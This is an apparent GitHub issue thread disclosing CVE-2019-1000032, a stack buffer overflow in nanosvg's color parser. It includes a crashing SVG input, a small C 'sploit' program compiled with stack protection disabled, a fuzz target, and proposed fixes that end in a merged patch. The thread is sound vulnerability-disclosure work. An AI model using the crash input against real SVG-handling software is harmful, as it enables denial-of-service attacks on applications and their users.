CVE-2019-1000032 - Memory corruption bug in nsvg__parseColorRGB

[bitwave]

This simple Proof of Concept

<stop style="stop-color:rgb(0%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%)"/>

crashes nanosvg.
In this snippet it is clear why this happens:

#include <stdio.h>
#include <string.h>

static unsigned int nsvg__parseColorRGB(const char* str)
{
	int r = -1, g = -1, b = -1;
	char s1[32]="", s2[32]="";
	sscanf(str + 4, "%d%[%%, \t]%d%[%%, \t]%d", &r, s1, &g, s2, &b);
	if (strchr(s1, '%')) {
		return 1;
	} else {
		return 0;
	}
}

int main(int argc, char const *argv[])
{
	printf("%d\n", nsvg__parseColorRGB("rgb(0%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%)"));
	return 0;
}

sscanf tries to parse the string, and writes arbitrary number of '%' or '\t' into the s1 or s2 buffer. The buffer overflows and triggers a segfault. This could lead to memory corruption and/or denial of service.

Regards
bitwave

CC: @gehaxelt for the fuzzing

[gehaxelt]

Here's an exploit with the latest library version:

#include <stdio.h>
#include <string.h>
#include <float.h>
#define NANOSVG_IMPLEMENTATION
#include "./src/nanosvg.h"

int main(int argc, char const *argv[])
{
	printf("%d\n", nsvg__parseColorRGB("rgb(0%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%)"));
	return 0;
}

Compile and run it with:

 $> gcc -o sploit sploit.c  -lm -fno-stack-protector
$> ./sploit
fish: “./sploit” terminated by signal SIGSEGV (Address boundary error)

[gehaxelt]

Please use CVE-2019-1000032 to track this issue. @bitwave could you please update the issue title?

[bitwave]

78e7627 seems to fix this issue. But nsvg__parseNumber uses a 64 byte long static buffer. This could lead to another memory corruption bug.

[Dor1s]

Have you heard of https://github.com/google/oss-fuzz ? That is a free Fuzzing-as-a-Service for open source software. I suspect you can find more bugs like this if you write a fuzzer or few. For example, the following fuzz target:

#include <stddef.h>
#include <stdint.h>

#include <string>

#define NANOSVG_IMPLEMENTATION	// Expands implementation

#include "nanosvg.h"

extern "C" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {
  std::string str(reinterpret_cast<const char*>(Data), Size);
  nsvg__parseColor(str.c_str());
  return 0;
}

Finds a stack-buffer-overflow in seconds. If you're interested, please go through https://github.com/google/oss-fuzz/blob/master/docs/new_project_guide.md and let me know if you have any questions.

[darealshinji]

How to fix this issue? Use the m modifier? (%m[...])

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

static unsigned int nsvg__parseColorRGB(const char* str)
{
	int r = -1, g = -1, b = -1;
	char *s1 = NULL, *s2 = NULL;
	int ret = 0;
	sscanf(str + 4, "%d%m[%%, \t]%d%m[%%, \t]%d", &r, &s1, &g, &s2, &b);
	if (s1 != NULL && strchr(s1, '%')) {
		ret = 1;
	}
	if (s1) free(s1);
	if (s2) free(s2);
	return ret;
}

int main(int argc, char const *argv[])
{
	printf("%d\n", nsvg__parseColorRGB("rgb(0%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%)"));
	return 0;
}

[erco77]

Offering up a suggestion that leverages more features of sscanf() and I think simplifies the parsing a bit.. feedback welcome.

// Handle the variations:
//     "rgb(255, 128, 64)"    -- 3 decimal integer rgb values (0-255)
//     "rgb(100%, 50%, 25%)"  -- 3 decimal integer rgb percentages (0-100)
//     "#6495ED"              -- 3 hex values as either single or two digit hex
//     "blue"                 -- color name
//
static unsigned int nsvg__parseColor(const char* str)
{
        unsigned int r=0, g=0, b=0;
        while(*str == ' ') ++str;
        if (sscanf(str, "#%2x%2x%2x", &r, &g, &b) == 3 )                // 2 digit hex
                return NSVG_RGB(r, g, b);
        else if (sscanf(str, "#%1x%1x%1x", &r, &g, &b) == 3 )           // 1 digit hex, e.g. #abc -> 0xccbbaa
                return NSVG_RGB(r*17, g*17, b*17);                      // has same effect as (r<<4|r), (g<<4|g), ..
        else if (sscanf(str, "rgb(%u, %u, %u)", &r, &g, &b) == 3)       // decimal integers
                return NSVG_RGB(r, g, b);
        else if (sscanf(str, "rgb(%u%%, %u%%, %u%%)", &r, &g, &b) == 3) // decimal integer percentage
                return NSVG_RGB(r*255/100, g*255/100, b*255/100);
        return nsvg__parseColorName(str);
}

[erco77]

Here's a v1 patch suggestion in the spirit of my last post that has minimal changes, should solve the security issue, and reduce code size. I don't think there's any locale issues here in the use of sscanf(), as it's just reading hex and integers.

[ctrlcctrlv]

Thank you @erco77. This bug is the root cause of sile-typesetter/sile#1197.

[alerque]

@erco77 I'm not quite sure what the status of this project is (there seem to be a lot of open PRs backed up without maintainer review) but if there is any chance of it being accepted could we talk you into submitting that patch as a PR?

Since we're including a vendored version of the source in SILE (yes we need to un-vendor it, but that's a project for another time) we might even apply the patch there, but it would still be useful to have it in PR form here to track what we have done.

[oehhar]

Dear Alerque,
may I add some observations ?
It was my experience this year, that the package author merges when it is an obvious improvement or bug-fix and it is well prepared. What I see here is, that the solution is still in a discussion phase.
I suppose, the merge will happen, if the solution is ready for merge.
If this moment has come, it might be a good idea to send a message to the author.

Take care and best regards,
Harald

[memononen]

I have super limited time to maintain this project. As @oehhar pointed out, a well prepared PR is the fastest way to get things fixed.

[ctrlcctrlv]

@memononen I opened #198 which is just the patch above applied to master.

[memononen]

@ctrlcctrlv Merged. Thanks for the PR!